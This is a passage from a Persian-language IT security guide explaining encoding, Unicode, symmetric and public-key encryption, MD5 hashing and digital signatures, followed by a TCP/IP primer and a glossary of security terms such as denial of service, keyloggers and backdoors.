و بعد از ارسال نيز بتواند آنـرا مجـدداً بـه حالـت قبلـي خـود                  
  .بازگرداند

  :كنيم ه استفاده ميبراي اين منظور از يكسري قوانين ساد

  دهيم؛ را قرار مي۰۱عدد   Aبجاي 
  دهيم؛ را قرار مي۰۲عدد   Bبجاي 
  دهيم؛ را قرار مي۰۳عدد   Cبجاي 

                                                                  
134  Encoding 
135  Encryption 
136  Decoding 

  دهيم؛ را قرار مي۰۴عدد   Dبجاي 
...  

  دهيم؛ را قرار مي۲۴عدد   Xبجاي 
  دهيم؛ را قرار مي۲۵عدد   Yبجاي 
  دهيم؛ را قرار مي۲۶عدد   Zبجاي 

  دهيم؛ را قرار مي۲۷عدد   بجاي فاصله
  .دهيم را قرار مي۲۸عدد   بجاي نقطه نيز

جملة اصلي را درنظر بگيريد و هر حرف را با كد تعيين شـده،              
  .جايگزين نماييد

  قرار دهيد؛S را بجاي ۱۹
  قرار دهيد؛E را بجاي ۰۵
  ... قرار دهيد؛ و C را بجاي ۰۳

  :توانيم رشته را اينگونه ارسال كنيم حالا مي
19050321180920252709192709131615182001142028 

  :شود اگر ميان ارقام فاصله قرار دهيم خواناتر هم مي

19 05 03 21 18 09 20 25 27 09 19 27 09 13 16 15 18 20 
01 14 20 28. 

كننده آنرا به حالت اول باز        هنگاميكه پيام دريافت شد، دريافت    
  :گرداند مي

S شود؛  مي۱۹ جايگزين  
E شود؛  مي۰۵ جايگزين  
C   يابد تا جملـة      شود، و اينكار آنقدر ادامه مي      مي ۰۳ جايگزين

  .اصلي بدست آيد

  كاربردهاي كدگذاري

كاربرد اصلي كدگذاري كه در ادامه به آن خواهيم پرداخت در           
پـست الكترونيكـي    . هاي الكترونيكي است  انتقال ضمائم نامه  

شـد و   ابتدا براي فرستادن متون به زبـان انگليـسي طراحـي            
 حرف منحصر به    ۱۲۸ بود كه    ASCIIمبناي اين طراحي كد     

 حـرف الفبـاي     ۲۶اين تعـداد كـد بـراي نمـايش          . فرد داشت   
ــزرگ،  ــه شــكل كوچــك و ب ــم، برخــي از ۱۰انگليــسي ب  رق

هاي ديگر مانند ويرگول، نقطه، كروشه و نيز تعـدادي از     نشانه
  .رفتند بكار ميEnd و Tabكليدهاي كنترلي مثل 

ي از زبانها تعداد حروفشان بيشتر از زبـان انگليـسي           اما بسيار 
ها، فايلهاي پردازش كلمه، عكسها       از طرف ديگر برنامه   . است

انـد و      بيتـي تـشكيل شـده      ۸و انواع ديگر فايلهـا از بايتهـاي         
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سـازند، و هيچيـك      حرف منحصر به فرد را مي      ۲۵۶مجموعاً  
  .توانند توسط نامة الكترونيكي ارسال گردند نمي

 بوجود آمد، كـه در آن       ١٣٧ضمائم حل اين مشكل مفهوم      براي
شـود ابتـدا      فايلي كـه همـراه نامـة الكترونيكـي ارسـال مـي            

گردد تا محتواي آن به شكل حـروف اسـتاندارد          كدگذاري مي 
ASCII  اين فرآيند مشابه همان فرآينـدي اسـت كـه          .  در آيد

 را تنهـا بـا اسـتفاده از اعـداد      كه طي آن توانـستيم آن جملـه     
ــام  . ذاري كنــيمكدگــ مــشابه مثــال قبلــي، در اينجــا نيــز پي

تواند بدون    تر است؛ اما مي     شده از اصل پيام طولاني    كدگذاري
ايجاد اشكال خاصي انتقـال يابـد و هنگاميكـه دريافـت شـد              

  .كدگشايي گردد و به شكل اصلي خود درآيد

Unicode  
Unicode         نوعي روش كدگذاري براي تمامي حروفي اسـت 
هـا    گيرنـد و رايانـه      اي رايج مورد استفاده قرار مـي      كه در زبانه  

جزئيات بيشتر كـه در     . توانند بطور يكسان آنها را بكار برند        مي
ــسرسيوم  ــورد ) Unicode) http://www.unicode.orgكنـ مـ

  :توافق قرار گرفته در ادامه به شكل خلاصه ذكر شده است

نها حروف الفبا   آ. ها با اعداد و ارقام سر و كار دارند          اساساً رايانه 
و ديگر علامتها را با اختصاص دادن يك عـدد بـه هريـك از             

 صـدها   Unicodeپـيش از پيـدايش      . كننـد   آنها ذخيـره مـي    
سيستم كدگذاري مختلف براي اين تبديلات وجود داشت، اما         
هيچكدام  از آنها به اندازة كافي حروف و علات را پـشتيباني             

به تنهايي نياز بـه چنـدين       كردند؛ و مثلاً اتحادية اروپايي      نمي
كدگذاري مختلف داشت تا تمامي زبانهاي اروپايي را پوشـش          

حتي در مورد يك زبان منحصر به فرد ماننـد انگليـسي            . دهد
نيــز يــك كدگــذاري واحــد بــراي تمــامي حــروف، علائــم و 

  .علامتهاي دستوري و فني كافي نبود

همچنين سيستمهاي كدگذاري مختلف با يكـديگر ناسـازگار         
ودند، يعني ممكن بود دو سيستم كدگذاري مختلف از اعـداد           ب

مشابهي براي دو حرف متفاوت استفاده كرده و يا بـراي يـك      
بـويژه   ( هـر رايانـه   . حرف، دو عدد مختلف را بكار برده باشـند        

بايــد از سيــستمهاي رمزگــذاري مختلفــي ) هــا دهنــده ســرويس
ذاري هر زمان كه داده ميان سيـستمهاي كدگ ـ       . پشتيباني كند 

 Unicode. شود ممكن است آسـيب ببينـد  مختلف تبادل مي  
  .آمده بود تا تمامي اين مشكلات را حل كند
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Unicode        براي هريك از حروف، شمارة مجزايي اختصاص 
اهميتي ندارد كه چه بـستر، برنامـه يـا زبـاني مـورد              . دهد  مي

 با رهبري شركتهايي چون  Unicodeاستاندارد  . استفاده باشد 
Apple   ،HP   ،IBM   ،JustSystem   ،Microsoft ،

Oracle ،SAP ،Sun ،Sybase ،Unisysنهـــــايي ...  و
  .شده، و در تمام بسترها يك استاندارد ثابت است

  اريذرمزگ
 همانند كدگذاري است كه در فرآيند آن، متـون يـا            اريذرمزگ

هـدف اينكـار    . شـوند   موضوعات به قالب ديگري تبـديل مـي       
  .مخفي كردن محتواي پيام است

  :سه روش رمزگذاري مختلف وجود دارد

 ١٣٨رمزگذاري متقارن •
 ١٣٩رمزگذاري كليد عمومي •
  Hash١٤٠رمزگذاري يكطرفه با استفاده از  •

   متقارناريذرمزگ

به زبان ساده، رمزگذاري متقارن مشابه كدگـذاري اسـت كـه            
يكـي  . يابند  حروف اصلي متن همگي در آن تغيير ظاهري مي        

گذاري اين است كه هـر حـرف    ترين الگوريتمهاي رمز      از ساده 
  :بنابراين در اين روش. را با حرف بعدي آن جايگزين كنيم

B بجاي Aگيرد؛  قرار مي  
C بجاي Bگيرد؛  قرار مي  
D بجاي Cگيرد؛  قرار مي  

........  
Y بجاي Xگيرد؛  قرار مي  
Z بجاي Yگيرد؛  قرار مي  
A   بجاي Z  رف اول  در پايان حروف الفبا، دوباره به ح ـ      (گيرد     قرار مي

  ).ايمبازگشته

اگر از اين الگوريتم اسـتفاده كنـيم، مثـال ذكـر شـده تبـديل             
  ):فاصله و نقطه را درنظر نگيريد(شود به  مي

TFDVSJUZ JT JNQPSUBOU. 
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ــرا  دريافــت. اكنــون ايــن پيــام تغييــر كــرده اســت  كننــده آن
كند   گرداند و هر حرف را با حرف قبلي خود جايگزين مي            برمي

  .آيد جملة اصلي بدست ميو بدين ترتيب 

توانيم آنها    بجاي آنكه هر حرف را يك واحد انتقال دهيم، مي         
كننده مقـدار ايـن       تا زمانيكه دريافت  . را چند واحد منتقل كنيم    

  .تواند پيام را رمزگشايي نمايد انتقال را بداند مي

. گوينـد   مـي  ١٤١اريذرمزگكليد  تعداد تغيير مكان يك حرف را       
شـود و هـم        رمزگذاري پيام استفاده مـي     از اين عدد هم براي    
جوليوس سزار از اين روش براي ارسـال        . براي رمزگشايي آن  

او كليـد   (نمـود      خـود اسـتفاده مـي       پيامهاي محرمانـه و سـري     
  ). انتخاب كرده بود۳رمزگذاري و رمزگشايي خود را برابر عدد 

با استفاده از اين الگوريتم ساده اگر پيام شما دزديـده شـود و              
 بشود، ممكن است با حدس   اريذرمزگرق متوجه روح كلي     سا

ــد  ــرا بفهم ــواي آن ــد محت ــوريتم . زدن بتوان ــورتيكه الگ درص
تر از آن باشد كه با اعمال چند جابجايي بتوان آنرا پيدا              پيچيده

تا مدتي پيش   . كرد آنگاه رمزگشايي بسيار مشكلتر خواهد شد      
انتقـال   متعـددي از ايـن روش سـاده     اريذرمزگالگوريتمهاي  
  .كردند استفاده مي

امروزه براي رمزگـذاري بجـاي انتقـال حـروف از فرمولهـاي             
البتـه هنـوز هـم از كليـد اسـتفاده           . شـود رياضي استفاده مـي   

كنــيم و ايــن كليــد بخــشي از آن فرمــول بــراي انجــام  مــي
 كنيد حتمـاً    رمزگشايياگر بخواهيد پيامي را     .  است اريذرمزگ

البته اگر كليـد مخـصوص را       . ييدبايد از يك كليد استفاده نما     
توانيد كليدهاي ديگر را امتحان كنيد تـا بـه            نداشته باشيد مي  

 ۱۰ تا   ۱هاي    درصورتيكه كليد محدود به شماره    . جواب برسيد 
امـا اگـر مـثلاً     . كشد  باشد، عمليات حدس زدن زياد طول نمي      

 باشد ممكن اسـت كمـي بيـشتر زمـان           ۱۰۰ تا   ۱ميان اعداد   
.  بيتـي هـستند  ۱۲۸ليدها معمولاً اعداد دودويي  امروزه ك . ببرد

  :اين رقم تقريباً برابر با
۳۴۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰ 

انتخاب مختلف است كه حدس زدن صـحيح كليـد را تقريبـاً             
  .كندغير ممكن مي

گيـرد كـه     متقارن هنگامي مورد استفاده قـرار مـي        اريذرمزگ
كننده بتوانند از يك كليـد مـشابه اسـتفاده           فرستنده و دريافت  

در اينصورت آنها بايد در مورد يك كليد مشخص به توافق رسـيده      (كنند  
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از اين روش درصورتي براي رمزگـذاري پيـام اسـتفاده           ). باشند
شود كه بخواهيد اطلاعاتي را از جايي به جاي ديگر انتقال      مي

 و يـا اينكـه      سـيم؛   دهيد، مثلاً انتقال از طريـق ارتباطـات بـي         
اي  بخواهيــد اطلاعــات موجــود روي يــك ديــسك را بگونــه

در موارد اخير   .  كنيد كه ديگران نتوانند آنرا بخوانند      اريذرمزگ
اگر كليد مفقود شـود اطلاعـات شـما نيـز مطمئنـاً از دسـت                

  .اند رفته

   كليد عمومياريذرمزگ

 متقارن است، اما با يـك       اريذرمزگاين نوع رمزگذاري مشابه     
. بجاي يـك كليـد، در آن دو كليـد وجـود دارد            : ت عمده تفاو

 پيـام اسـتفاده     رمزگـذاري درواقع در اينجا كليدي كـه بـراي         
 پيـامِ   رمزگـشايي گردد متفاوت از كليدي است كـه بـراي            مي

معمولاً كليد اول عمومي اسـت و       . رودشده بكار مي  رمزگذاري
 براي  اگر شما بخواهيد  . همه مجازند از آن اطلاع داشته باشند      

شخصي يك پيام خصوصي ارسال كنيد بايد از كليد عمـومي           
 كه خود او آنرا براي رمزگذاري در اختيار همه قرار داده            -وي  

 پيام، نياز به كليد خصوصي      رمزگشاييبراي  .  استفاده نماييد  -
باشد كه متفاوت از كليد عمومي است و ايـن كليـد را             وي مي 

با اين توضيحات   . قرار داد نبايد به هيچوجه در اختيار ديگران       
مشخص است كه اگر پيام شما بـا اسـتفاده از ايـن مكـانيزم               
براي كسي ارسال شود، هيچ شـخص ديگـري بجـز گيرنـدة             

  .تواند آنرا بخواند حقيقي نمي

توجه داشته باشيد كه با استفاده از اين روش، شخص مطمئن           
است؛ زيـرا هـر       نيست چه كسي پيام را براي وي ارسال كرده        

امـا  . سي ممكـن اسـت كليـد عمـومي وي را داشـته باشـد              ك
فرستنده مطمئن خواهد بود كه تنها صاحب آن كليد عمـومي           

تواند با كليـد خـصوصي        مي) كليدي كه براي رمزگذاري بكار رفته     (
  .متناظر اين پيام را رمزگشايي كند و بخواند

توانند عكس آنچه گفته شد       كليدهاي عمومي و خصوصي مي    
در اينحالت شما پيام را بـا كليـد خـصوصي      .  شوند نيز استفاده 

كنيد و هر كسي كه كليد عمـومي شـما را             خود رمزگذاري مي  
در اينصورت آنچـه    .  نمايد رمزگشاييتواند آنرا     داشته باشد مي  

رسد اين است كه مطمئنـاً فرسـتندة پيـام كـسي            به اثبات مي  
  .نيست جز شما
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 يكطرفه با استفاده از اريذرمزگ
  ١٤٢سازي درهم

 كليد عمـومي بدانيـد      اريذرمزگتوانيد اين روش را مشابه        مي
بنـابراين  . در حالتي كه در آن هيچكس كليد خصوصي نـدارد         

 رمزگـشايي تواننـد     توانند رمزگذاري شوند، اما نمي      مطالب مي 
گردند؛ و تفاوت آن با رمزگذاري كليد عمـومي در ايـن اسـت              

يكـي از   . ردكه پيام رمزشده معمولاً حداكثر طول مشخصي دا       
 يكطرفــه بــا اســتفاده از اريذرمزگــرايجتــرين الگوريتمهــاي 

ــم ــام  دره ــوريتمي بن ــازي، الگ ــي .  اســتMD5١٤٣س خروج
اگـر  . باشـد   مـي )  بايـت  ۱۶( بيت   ۱۲۸، هميشه   MD5الگوريتم  

شده براي دو پيـام متفـاوت ايجـاد كنيـد           سازييك كد درهم  
ر شده مشابه يكـديگ   سازياحتمال اينكه خروجي دو كد درهم     

  .باشند تقريباً صفر خواهد بود

اين روش و كد خروجي توليد شـده در آن دو كـاربرد اصـلي               
  :دارند

  تضمين جامعيت

توانيد يـك سـند طـولاني يـا يـك برنامـه را                شما مي 
 را بــراي آن محاســبه و آنــرا در MD5برگزينيــد، كــد 

توانيد به اسـناد      مدتي بعد مي  . محلي امن ذخيره نماييد   
وباره روي آن همين عمليات را اعمـال        خود مراجعه و د   

طبيعتاً چنانچه كد جديد متمايز از كد قبلـي بـود           . كنيد
. شويد كه برنامه يا سـند تغييـر كـرده اسـت           متوجه مي 

معمولاً يك تغيير بسيار جزئي در يك فايل بزرگ هـم           
 مربوطـه   MD5باعث ايجـاد تغييـرات زيـادي در كـد           

  .شود مي

  ذخيرة رمز عبور

اي ز سيـستمها هنگاميكـه كـاربر از كلمـه         در بسياري ا  
كند، اين كلمه با استفاده از        بعنوان رمز عبور استفاده مي    

ــا يــك الگــوريتم مــشابه  (MD5الگــوريتم  رمزگــذاري ) ي
بار بعد  . گردد  شده ذخيره مي  شود و نسخة رمزگذاري     مي

كند وارد سيستم شود، آنچه كه وارد         كه كاربر سعي مي   
شـود و بـا آنچـه كـه در            ي مـي  كند مجدداً رمزگذار    مي

گـردد؛ و درصـورت       ديسك ذخيره شده بود مقايسه مي     
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شـود كـه رمـز عبـور          يكسان بودن آنها مـشخص مـي      
البته اگر كاربر رمز عبور را فراموش       . صحيح بوده است  

 آنچـه كـه روي ديـسك ذخيـره شـده            رمزگشاييِكند  
امكانپذير نيست و بايد يك رمـز عبـور جديـد انتخـاب             

شود كه    ين روش براي اين منظور استفاده مي      از ا . گردد
اصل رمز عبور هيچگاه نتواند در قالب اصلي خـود بـه             

  .نمايش درآيد

متأسفانه هنوز يك مشكل وجود دارد كه بـه دليـل آن            
كاربر نبايد از رمزهاي عبـور كوتـاه، سـاده و يـا قابـل               
حدس استفاده كند و آن اينكه اگـر كـسي فهرسـتي از          

مــثلاً از (شــده بدســت آورد ذاريرمزهــاي عبــور رمزگــ
بسيار ساده خواهـد بـود كـه        ) سيستمي كه به آن نفوذ كرده     

همه رمزهاي عبورِ سادة ممكن را رمزگـذاري نمـوده و    
شدة موجود در سيـستم تطبيـق       هاي رمزگذاري   با نمونه 

دهد و بدين ترتيب رمزهاي عبور سادة سيستم را پيـدا           
  .كند

  ١٤٤امضاي ديجيتالي
هد براي شما پيامي خصوصي ارسال كنـد و         اگر شخصي بخوا  

بخواهد شما مطمئن باشيد كه فرستنده آن پيام كـسي جـز او             
  :گفته استفاده كردتوان از تركيب روشهاي پيش نيست، مي

 بــراي ايجــاد كــد   MD5نويــسد و از  پيــام را مــي  .۱
 .كند شده استفاده ميسازي درهم

 را شـده سازيبا استفاده از كليد خصوصي خود، كد درهم     .۲
 .كند رمزگذاري مي

با استفاده از كليد عمومي شما مـتن پيـام را رمزگـذاري              .۳
 .نمايدمي

 .كند شده را ارسال مي سازي رمزگذاريپيام و كد درهم .۴

 .كنيد شما پيام را دريافت مي .۵

ســازي را بــا اســتفاده از كليــد عمــومي وي كــد درهــم .۶
نماييد، كه نتيجـه آن بدسـت آمـدن كـد             رمزگشايي مي 

 .ي اصلي استسازدرهم
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متن پيام ارسالي را با اسـتفاده از كليـد خـصوصي خـود               .۷
 .كنيدرمزگشايي مي

ــا اســتفاده از   .۸ ــام ارســالي، ب ــتن پي ــراي م  كــد MD5ب
 .نماييد سازي را محاسبه مي درهم

سـازي بدسـت آمـده يكـسان بودنـد          اگر دو كـد درهـم      .۹
 و   اسـت   يابيـد مـتن ارسـالي تغييـر نكـرده           اطمينان مـي  

 .ن شخصي است كه انتظار آنرا داشتيدفرستنده نيز هما

 كه بوسـيله مرورگرهـاي وب بـراي         ١٤٥هاي ديجيتالي گواهي
گيرند نيز بر اساس      تصديق هويت ايمن مورد استفاده قرار مي      

  .كنند كار مي) مشابه مثال فوق(فنون امضاي ديجيتالي 
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١١١  

ش
بخ

 
وم
د

  

  ۲ضميمة 
TCP/IP   

اي از قــوانين اســت كــه تمــام   مجموعــهTCP/IPپروتكــل 
اگرچـه نيـازي    . كنـد   اي ارسالي در اينترنت را كنترل مي      پيامه

نيست كه كاربران عـادي بـراي اسـتفاده از اينترنـت دربـارة              
TCP/IP            بنـدي     اطلاع داشته باشـند، امـا بايـد دربـارة پيكـر

در ادامـه   .  و تهديدات اينترنتي مطالبي بدانند     آتشهاي  هديوار
ر با اين   اگ.  ذكر شده است   TCP/IPاي از عملكرد      شرح ساده 

توانيد از خواندن اين قسمت صـرفنظر       مفاهيم آشنا هستيد مي   
  .كنيد

  دهي اينترنتي آدرس

اين آدرس  . باشد   مي IPهر ابزار در اينترنت داراي يك آدرس        
كنـد؛    فرد معرفي مي    بطور كلي آن ابزار را بصورت منحصر به         

همانطور كه آدرس پستي در تمـام دنيـا آدرس خانـة شـما را               
 TCP/IPآدرسهاي موجود در نـسخة جـاري        . دهد نشان مي 

.  بيتي دودويي هـستند    ۳۲اعداد  ) شود   شناخته مي  IPv4كه به نام    (
. باشـد   مـي ۲۳۲=۴۲۹۴۹۶۷۲۹۶يعني تعداد آدرسهاي ممكـن،   

 بيتـي   ۳۲تـر آنهـا، اعـداد         براي نمايش و بخاطر سپردن ساده     
چـون  . انـد   بنـدي شـده      بيتـي تقـسيم    ۸ بخـش    ۴دودويي به   

 تـا   ۰تواند يكي از اعداد        بيتي مي  ۸ت، هر بخش     اس ۲۸=۲۵۶
آيند و بـا يـك     شماره معمولاً بدنبال هم مي    ۴اين  .  باشد ۲۵۵

بنابراين كـوچكترين آدرس    . شوند  نقطه از يكديگر تفكيك مي    
ــي  ــرين آن 0.0.0.0اينترنت  255.255.255.255 و بزرگت

  24.200.195.15 بـه شـكل      IPنمونـة يـك آدرس      . است
 وجـود دارد كـه      ١٤٦مسيرياباينترنت ابزاري بنام    در  . باشد  مي

دانـد كـه بـراي    كند و مي  را نگهداري مي  IPمسير هر آدرس    
  .يافتن به هر آدرس بايد كدام مسير را برگزيد دست
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  ١٤٧خدمات نام دامنه

هاي طولاني اعداد سـخت اسـت         چون به خاطر سپردن رشته    
 ـكه  (ها در اينترنت با حروف الفبا         بسياري از رايانه    ١٤٨ام ميزبـان  ن

ــي  ــده مـ ــده ) شـــوند ناميـ ــذاري شـ ــد  نامگـ ــة آن . انـ نمونـ
www.infodev.org هنگاميكه اين نام را در مرورگر      .  است

 پيامي را بـه يـك سـرويس خـاص بنـام             وب وارد كنيد رايانه   
DNS  كنـد    ارسال مي .DNS  توانـد حـروف الفبـا را بـه            مـي

 192.86.99.121در اين مثال شماره مورد نظر       (شماره تبديل نمايد    
دهـد   دهندة وب اجازه مـي    به سرويس  DNSهمچنين  ). اسـت 

كه در مكانهاي مختلف جابجـا شـود؛ چـون دامنـة مربوطـه              
دهــد و لــذا كــاربران   اطــلاع مــيDNSآدرس جديــد را بــه 

  .توانند از همان نام ميزبان استفاده نمايند همچنان مي

IP :١٤٩پروتكل اينترنت  

شوند بـه شـكل        ارسال مي  ها از طريق اينترنت     هنگاميكه داده 
 ١٥٠بـسته آيند كه به آنها      در مي   اي از حروف و نشانه      مجموعه

 بـه معنـاي     TCP/IP در   IP. شـود  گفته مي  datagramيا  
كند كـه قالـب داخلـي         است و مشخص مي   " پروتكل اينترنت "

 شامل چنـدين بخـش      IPبستة  . ها بايد چگونه باشد   اين بسته 
  :خورند د زير به چشم مياطلاعاتي است كه در ميان آن موار

 اندازة بسته؛ •

  گيرنده؛IPآدرس  •

 شود؛ و محلي كه بسته از آنجا ارسال ميIPآدرس  •

 .نوع بسته •

شــود بــه   شــما ارســال مــي هنگاميكــه يــك بــسته از رايانــة
كنـد    شود و آن نيز سعي مي       نزديكترين مسيرياب فرستاده مي   

ايـن  بسته را در طول مسير به مسيرياب بعدي ارسال كنـد و             
اگـر مـشكلي    . يابد تا بسته به مقصد خود برسـد         كار ادامه مي  

توانـد ارسـال      ها زياد باشد بسته نمـي       بوجود آيد يا تراكم بسته    
 IPبه همين دليـل بـه       . شود و در ميان راه متوقف خواهد شد       

اگرچـه طبـق تئـوري      . گويند   مي ١٥١غيرقابل اطمينان  پروتكل
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١١٢ 

IP هـاي    ارد تمامي بسته  اطمينان نيست، اما در بيشتر مو        قابل
  .رساندارسالي را به مقصد مي

توانند ارسال شوند     ها وجود دارند كه مي      انواع مختلفي از بسته   
 و  TCP: كنـيم   اما در اينجا تنها به دو نوع از آنها اشـاره مـي            

UDP.  

TCP :١٥٢پروتكل كنترل انتقال  

TCP        رود و شامل      پروتكلي است كه در بيشتر پيامها بكار مي
ــل ، )HTTP(وب  ــال فايـ ــل انتقـ ــة ١٥٣(FTP) پروتكـ  و نامـ

هـاي    شـده، بـسته   علاوه بر دادة ارسـال    . باشد  الكترونيكي مي 
TCPباشند  شامل موارد زير هم مي:  

 ١٥٤؛شمارة پورت ارسالي بيت ۱۶ •

 ١٥٥؛شمارة پورت دريافتي بيت ۱۶ •

 ها؛ وبسته ١٥٦ترتيبي اطلاعات •

 ١٥٧.اطلاعات تصديقي •

 دارد از شماره پـورت      IPاز آنجا كه هر رايانه فقط يك آدرس         
اي كه در رايانه پيام را ارسال و يا دريافت            براي نمايش برنامه  

دهـد    اين قابليتي است كه امكان مي     . شودكند استفاده مي    مي
روي رايانه چندين مرورگر وب باز باشد و بتوان بوسـيلة آنهـا             

براي اينكه يـك برنامـه      . صفحات درخواستي را مشاهده نمود    
ريافت كند بايد روي پورت صـحيحي منتظـر          را د  TCPپيام  

افـزار كـاربردي خـاص، يـك          معمولاً براي هر نرم   . پيام بماند 
  دهنـدة   بعنوان مثال پورت سرويس   . پورت مشخص وجود دارد   
هنگاميكـه يـك پنجـرة      .  اسـت  ۸۰وب هميشه پورت شمارة     

كنيد تقريباً بطور تصادفي يك پورت را براي          مرورگر را باز مي   
و ايـن همـان    ) ۱۰۲۳طبق قرارداد، بزرگتر از     (كند    ميخود انتخاب   

  .پورتي است كه بايد روي آن منتظر پيام ايستاد

 محدود است و اطلاعـاتي كـه        IPهاي    از آنجا كه طول بسته    
شوند ممكن است بسيار      هاي كاربردي منتقل مي     توسط برنامه 

بيشتر از آن باشد، اطلاعـات بايـد بـه قـسمتهاي كـوچكتري              
 مربوط به خود    TCPهر قسمت در قالب بستة      . دتقسيم گردن 
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شود كه    فرستادن ترتيبي اطلاعات سبب مي    . شود  فرستاده مي 
برنامة دريـافتي ايـن قـسمتها را بـا ترتيبـي صـحيح مجـدداً                

اما به دلايل متعـدد ممكـن اسـت بعـضي از            . گردآوري نمايد 
هاي ديگر به مقصد برسند و اين بدان          ها سريعتر از بسته     بسته
ها بايد بتوانند خارج از ترتيبي كه فرستاده        ي است كه بسته   معن
از سوي ديگر از آنجا كه طبـق تئـوري          . اند دريافت شوند  شده

ها  قابل اطمينان نيست ممكن است بعضي از بسته        IPماهيت  
در اين مـورد برنامـة دريـافتي متوجـه          . هرگز به مقصد نرسند   

هـا رخ داده     شود كه يك شكاف ميان ترتيب دريافت بسته       مي
تواند درخواست كند كـه بـستة گـم شـده مجـدداً               است و مي  
  .ارسال شود

 بفرسـتد، ايـن انتظـار       TCPهنگاميكه فرستنده يـك بـستة       
كننده با بازپس فرسـتادن اطلاعـات       رود كه برنامة دريافت     مي

اگـر پيـام    . تصديقي مخـصوص، دريافـت آنـرا تـصديق كنـد          
اي بـاز نگـردد،     شدهتصديق يك بسته در بازة زماني مشخص      

وجود اعداد ترتيبـي و     به دليل   .  مجدداً ارسال خواهد شد     بسته
 اسـت و    ١٥٨پروتكل قابل اعتماد   يك   TCPها،    تصديقي بسته 

افـزار كـاربردي، كـاربر     شـود نـرم    هنگاميكه از آن استفاده مي    
تواند مطمئن باشد كه درصورت وقوع اشتباه و يـا خطـا در     مي

افزار در جريان آن قرار خواهـد         نرمانتقال يا دريافت اطلاعات،     
  .گرفت

UDP : پروتكلdatagram١٥٩ كاربر  

UDP  اي است كه بـراي انتقـال اطلاعـات مـورد             قالب ساده
هـا داراي    علاوه بر دادهUDPهر بستة . گيرد  استفاده قرار مي  

  :اطلاعات ديگري شامل موارد زير نيز هست

  بيت شمارة پورت ارسالي؛ و۱۶ •

 . دريافتي بيت شمارة پورت۱۶ •

هاي پورت    استفاده از شماره  به دليل   ،  TCPدر اينجا نيز مانند     
هــاي مختلفــي بتواننــد بطــور مــوازي  ممكــن اســت برنامــه

همچنـين ماننـد    .  را دريافت و ارسال نمايند     UDPهاي    رشته
، برنامـه بايـد روي پـورت صـحيحي          TCPدريافت پيـام در     

صي  هـيچ شـرط مشخ ـ     UDPدر  . منتظر دريافت پيام بمانـد    
هـا وجـود نـدارد، لـذا ايـن            بندي و تصديق بـسته      براي ترتيب 
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ش
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 نامطمئن است و پيامها در آن ممكـن         IPپروتكل نيز همانند    
شـود كـه گـم         در مواردي استفاده مي    UDP. است گم شوند  

شدن تعدادي از پيامها اهميت چنداني نداشـته باشـد و يـا راه              
امـا از   . اي براي بازيابي پيامهاي گمـشده موجـود باشـد           ساده

توان به اين نكته اشاره كرد كه چـون         مزاياي اين پروتكل مي   
 وجود ندارد ايـن     UDPبندي خاصي در    هيچ تصديق و ترتيب   

  .گيردپروتكل منابع بسيار كمتري از سيستم را بكار مي
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  ۳ضميمة 
  نامة اصطلاحات فني واژه

  تعاريف اصطلاحات در حوزة متون امنيتي

  ١٦٠پست الكترونيكي

آدرسـهاي الكترونيكـي    . هـا   اي پست نامـه   ل رايانه معاد
. توانند از طريق اينترنت، نامه ارسال يا دريافت كنند          مي

هاي الكترونيكي از متون      از ديدگاه اينترنتي تمامي نامه    
ــاپ   ــل چ ــي  (قاب ــاي غيركنترل ــشكيل ) ASCIIكاراكتره ت

  .اند شده

  ١٦١تخريب سرويس

ه رايانـه   افتد ك ـ   حملة تخريب سرويس زماني اتفاق مي     
متصل به اينترنت توسط پيامهـاي بـسيار زيـاد و غيـر             
حقيقي بمباران شـود؛ بطوريكـه تمـامي وقـت خـود را             
صرف پاسخ دادن به اين پيامها نمايد و مجـالي بـراي            

  .عبور ترافيك كاربر واقعي باقي نماند

  ١٦٢هاي كليدكنندهثبت

كليــد تايــپ اي كــه هرآنچــه از طريــق صــفحه برنامــه
تواننـد روي ديـسك    ها مي داده. كند  ثبت مي شود را     مي

نوشته و يا از طريـق اينترنـت بـراي شـخص ديگـري              
كليـد روي   هـاي صـفحه   كننـده اگر ثبـت  . ارسال گردند 

اي نصب شده باشند، هرآنچه كه وارد رايانه گردد           رايانه
شـود؛ دقيقـاً       ثبت مي  - مثل نام كاربري و رمز عبور        -

 و رمـز عبـور خـود را         مشابه حالتي كه شما نام كاربري     
  !كنيد و شخصي بالاي سرتان ايستاده استوارد مي
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  ١٦٣درب مخفي

روشي براي گذر از ورود عادي و ايمـن بـه سيـستم و              
آوردن كنترل يك رايانه بـدون كـسب اجـازه از             بدست

اگـر درب مخفـي روي يـك رايانـة          . صاحب آن اسـت   
متصل به شبكه نصب شود ممكن است هر شخصي در   

واند بدون اطلاع و رضايت مالـك رايانـه بـه          اينترنت بت 
  .آن وارد شود و كنترل آنرا بدست گيرد

  ١٦٤ديوارة آتش

توانـد تبـادل غيرمنتظـره و غيرمجـاز           ديوارة آتش مـي   
. اطلاعات ميان شما و دنياي خارج از آنرا مـسدود كنـد          

توانـد    ديوارة آتش مـي   : هاي آتش دو نوع هستند      ديواره
شـود يـا      ايانة شما اجـرا مـي     افزاري باشد كه روي ر      نرم

افزاري مجزايي باشد كه به آنچه در شبكه          قطعة سخت 
  .كند شود نظاره ميدريافت و ارسال مي

  ١٦٥رمزگذاري

روشي براي مخفي كردن محتواي اطلاعات كه باعـث         
گردد اطلاعات براحتي قابل خوانـدن نباشـند، مگـر            مي

. براي كسي كه قرار است آن اطلاعات را دريافت كنـد          
وجـود دارد كـه بـر اسـاس         " كليـد "در رمزگذاري يـك     

يكسري قوانين بوجود آمده است و براي تغيير ظاهري         
ايـن اطلاعـات    . گيـرد   اطلاعات مورد استفاده قرار مـي     

تواند خوانده شود كه رمزگشايي شده باشـد و           زماني مي 
كننـده، هـم    براي رمزگشايي آن لازم است فرد دريافت      

  .ز آنرا بداندكليد و هم روش استفاده ا

  ١٦٦سرريزي بافر

افتـد    افزاري است و هنگامي اتفاق مـي        يك اشكال نرم  
هاي خود را بـه فـضايي در حافظـه            كه يك برنامه داده   

ها وجـود  كند كه در آن جاي كافي براي داده      منتقل مي 
هاي قبلـي را    در اينحالت برنامه ممكن است داده     . ندارد

ه باشد فـضايي را     از حافظه بيرون بياندازد و سعي داشت      
  .هاي جديد مهيا سازد براي داده
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  راهنماي امنيت فناوري اطلاعات

 

١١٦ 

تواند باعث ايجاد مـشكلات   ها مي  از بين رفتن اين داده    
زيادي گردد و معمـولاً يكپـارچگي و امنيـت برنامـه را             

با بررسي فضاي كافي حافظه قبل از       . كنددار مي خدشه
